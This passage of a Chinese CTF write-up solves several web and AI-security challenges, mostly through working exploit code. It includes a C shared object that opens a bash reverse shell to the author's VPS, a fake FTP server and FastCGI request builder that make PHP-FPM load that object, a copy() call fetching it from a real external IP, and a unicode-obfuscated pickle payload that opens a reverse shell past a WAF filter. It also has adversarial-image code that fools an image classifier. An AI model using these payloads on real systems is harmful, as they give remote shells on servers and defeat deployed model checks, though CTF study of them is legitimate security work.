22
23
24
25
26
27
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2) #就是这里,把服务器骗去fpm
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

在服务器上启动该脚本,随后我们就在服务器的1234号端口上启动了一个”FTP服务”

接下来,写一个c文件:

1
2
3
4
5
6
7
8
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/你的VPS/1233 0>&1'");
}

内容就是,当被当作so文件加载时,反弹一个shell到1233端口

随后,编译为so

1
gcc evil.c -fPIC -shared -o evil.so

接下来起一个web服务(python3 -m http.server 8777)准备上传这个文件。因为服务器出网,这里使用copy函数。

1
/1.php?1=mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy("http://101.43.48.199:8777/evil.so","/tmp/evil.so");

可以看到传上去了
alt text

非常好!我们进行下一步。

接下来,我们构造一个恶意的fastcgi请求攻击fpm,让它加载我们的so文件。

使用网上的脚本构造即可。(参数给你改好了,只用改端口就行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
echo('?file=ftp://101.43.48.199:1234/&data='.urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
// $filepath = __FILE__;
//}else{
// $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/index.php";
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = evil.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; // extension_dir即为.so文件所在目录
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command=whoami',
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => 'ctfking/Tajang',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9000', // 找准服务端口
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

运行,拿到payload

随后上传一个靶子

1
2
3
4
5
6
<?php
$file = $_GET['file'] ?? '/tmp/file';
$data = $_GET['data'] ?? ':)';
echo($file."</br>".$data."</br>");
var_dump(file_put_contents($file, $data));
?>

把这玩意用so上传的同款方法传到/var/www/html/file.php,给我们当靶子用。

VPS启动nc监听1233端口。保持1234端口的“ftp”服务,拿着生成的payload访问file.php。接下来闭眼等待奇迹的发生……
alt text

这时候,你会突然发现自己1234的服务结束了,这说明恶意payload被传到了php fpm。它加载了你的so……

回到nc的监听一看,鱼儿已经上钩
alt text

ezUpload

题目是一个文件加解密系统,探测后发现可以上传TXT文件

尝试随便上传一个内容,发现加密后的内容疑似AES加密后的内容
alt text

扫描路由后发现存在hint路由,获取到内容VXBMT2FkX2VuY3I3UHQzZA==,BASE64解密后得到内容UpLOad_encr7Pt3d

进一步探测后,发现解密文件时存在pickle反序列化,因此构造pickle反序列化payload,将AES-ECB加密后的内容上传解密,但是存在WAF拦截,盲测后发现过滤内容如下:

1
if b'R' in data or b'i' in data or b'b' in data or b'o' in data or b'curl' in data or b'flag' in data or b'system' in data or b' ' in data:

最后就是个打pickle。unicode直接就绕了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import pickle
import base64


def encrypt_data(data):
key = b'UpLOad_encr7Pt3d'
cipher = AES.new(key, AES.MODE_ECB)
padded_data = pad(data, AES.block_size)
encrypted_data = cipher.encrypt(padded_data)
return base64.b64encode(encrypted_data).decode('utf-8')

payload = b'''V__\u0062u\u0069lt\u0069n__
Vmap
\x93p0
0(]V\u0069mp\u006Frt\u0020s\u006Fcket,su\u0062pr\u006Fcess,\u006Fs;s=s\u006Fcket.s\u006Fcket(s\u006Fcket.AF_INET,s\u006Fcket.SOCK_ST\u0052EAM);s.c\u006Fnnect(("ip",port));\u006Fs.dup2(s.f\u0069len\u006F(),0);\u006Fs.dup2(s.f\u0069len\u006F(),1);\u006Fs.dup2(s.f\u0069len\u006F(),2);p=su\u0062pr\u006Fcess.call(["/\u0062\u0069n/sh","-\u0069"]);
ap1
0((V__\u0062u\u0069lt\u0069n__
Vexec
\x93g1
tp2
0(g0
g2
\x81tp3
0V__\u0062u\u0069lt\u0069n__
V\u0062ytes
\x93p4
g3
\x81.'''

print(encrypt_data(payload))

放txt里,上传文件解密反弹shell

FlagBot

首先需要触发flask的报错获取模型位置信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST / HTTP/2
Host: eci-2zeiziyefd5wgc0pij5t.cloudeci1.ichunqiu.com:5000
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1749877414
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://eci-2zeiziyefd5wgc0pij5t.cloudeci1.ichunqiu.com:5000/?name=
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: https://eci-2zeiziyefd5wgc0pij5t.cloudeci1.ichunqiu.com:5000
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

signature=1

本来signature这里是要放base64之后的图片的,这里直接改成1成功触发报错。触发flask报错的思路还有给参数赋空值,设置过大长度的参数,输入数据解码会报错等等。

alt text

泄露了部分源码和model的路径

访问https://eci-2zeiziyefd5wgc0pij5t.cloudeci1.ichunqiu.com:5000/model_AlexNet.pth,成功下载模型

使用得到的模型文件,以及文件名,制作对抗样本

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from PIL import Image
from io import BytesIO
import torch
from torch import nn
from torchvision import transforms
from PIL import Image
import werkzeug.exceptions

class AlexNet(nn.Module):
def __init__(self, num_classes: int = 1000, dropout: float = 0.5) -> None:
super().__init__()
self.features = nn.Sequential(
nn.Conv2d(3, 64, kernel_size=11, stride=4, padding=2),
nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=3, stride=2),
nn.Conv2d(64, 192, kernel_size=5, padding=2),
nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=3, stride=2),
nn.Conv2d(192, 384, kernel_size=3, padding=1),
nn.ReLU(inplace=True),
nn.Conv2d(384, 256, kernel_size=3, padding=1),
nn.ReLU(inplace=True),
nn.Conv2d(256, 256, kernel_size=3, padding=1),
nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=3, stride=2),
)
self.avgpool = nn.AdaptiveAvgPool2d((6, 6))
self.classifier = nn.Sequential(
nn.Dropout(p=dropout),
nn.Linear(256 * 6 * 6, 4096),
nn.ReLU(inplace=True),
nn.Dropout(p=dropout),
nn.Linear(4096, 4096),
nn.ReLU(inplace=True),
nn.Linear(4096, num_classes),
)

def forward(self, x: torch.Tensor) -> torch.Tensor:
x = self.features(x)
x = self.avgpool(x)
x = torch.flatten(x, 1)
x = self.classifier(x)
return x

model_path= './model_AlexNet.pth'
# 打印模型结构
# model = torch.load(model_path, map_location=torch.device('cpu'), weights_only=True)
# for key, value in model.items():
# print(f"Layer:{key}, Shape:{value.shape}")
model = AlexNet(num_classes=2) # 创建2分类模型
model.load_state_dict(torch.load(model_path, map_location=torch.device('cpu'), weights_only=True))
model.eval()

image = torch.randint(0, 2, (1, 1, 300, 600)) / 1.0 # 创建二值图像(0/1)
image = torch.cat([image, image, image], dim=1) # 复制为3通道(RGB)
criterion = nn.CrossEntropyLoss()

for _ in range(100000):

image.requires_grad = True
pred = model(image)
loss = criterion(pred, torch.tensor([1], dtype=torch.long))
loss.backward()
print(loss.item())

image.requires_grad = False
grad = torch.sum(image.grad, dim=1, keepdim=True) # 计算通道梯度总和

for x in range(300):
for y in range(600): # 像素级更新
if grad[0, 0, x, y] > 0: # 正梯度 → 设为0(黑色)
image[0, :, x, y] = 0.
else: # 负梯度 → 设为1(白色)
image[0, :, x, y] = 1.

transforms.ToPILImage()(image[0].detach().cpu()).save('flag.png')

然后将图片base64编码后发送,注意用burp发包时要给base64之后再urlencode一下。

alt text
alt text

backdoor

小明找了一个第三方机构帮忙训练一个分类模型,数据集和模型框架都由小明来提供。在拿到练好的模型后,小明意外发现,自己的模型好像被别人植入了后门!目前,小明手上有练好后的模型架构和参数以及原始的数据集,他猜测,后门藏在了5-15号标签内,请你利用已有的资源帮他找出隐藏的后门!

神经网络后门攻击

主要考察的知识点是神经网络图像领域的后门攻击,目标是找出带后门的神经网络模型被污染的标签(target),并推演出攻击者留下后门时所使用的mask和trigger(也可以叫pattern)

相关算法有很多,可以参考复现这篇论文的算法:Neural Cleanse: Identifying and Mitigating Backdoor Attacks in Neural Networks

详细信息:

{B. Wang et al., “Neural Cleanse: Identifying and Mitigating Backdoor Attacks in Neural Networks,” 2019 IEEE Symposium on Security and Privacy (SP), San Francisco, CA, USA, 2019, pp. 707-723, doi: 10.1109/SP.2019.00031.}

Github代码地址:https://github.com/bolunwang/backdoor